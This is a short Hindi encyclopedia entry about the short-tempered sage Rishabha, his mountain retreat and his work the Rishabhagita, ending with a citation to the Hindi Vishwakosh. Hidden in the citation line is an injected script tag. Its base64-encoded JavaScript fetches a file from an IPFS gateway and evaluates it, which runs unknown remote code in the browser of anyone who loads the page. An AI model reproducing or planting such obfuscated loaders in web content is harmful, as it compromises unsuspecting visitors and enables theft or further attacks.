ऋषभ एक क्रोधी ऋषि जो ऋषभकूट नामक पर्वत की चोटी पर रहता था। इसके तप से प्रभावित हो अनेक लोग इसके पास आने लगे। इससे इसे बहुत कष्ट होता था तथा तपस्या में विघ्न भी पड़ता था। फलस्वरूप इसने पर्वत तथा वायु को आदेश दिया कि जो कोई भी मेरे पास आने की कोशिश करे, पाषाणवृष्टि करके उसे वापस जाने के लिए मजबूर कर दो। इस ऋषि की एक रचना ऋषभगीता नाम से प्रसिद्ध है जिसमें सने कृशतनु-वीरद्युम्न-संवाद रूपी दृष्टांत के माध्यम से किसी सुमित्र नाम के राजा को आशा की सूक्ष्मता तथा विशालता का परिचय दिया है।[1]
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टीका टिप्पणी और संदर्भ
- ↑ हिन्दी विश्वकोश, खण्ड 2 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 203 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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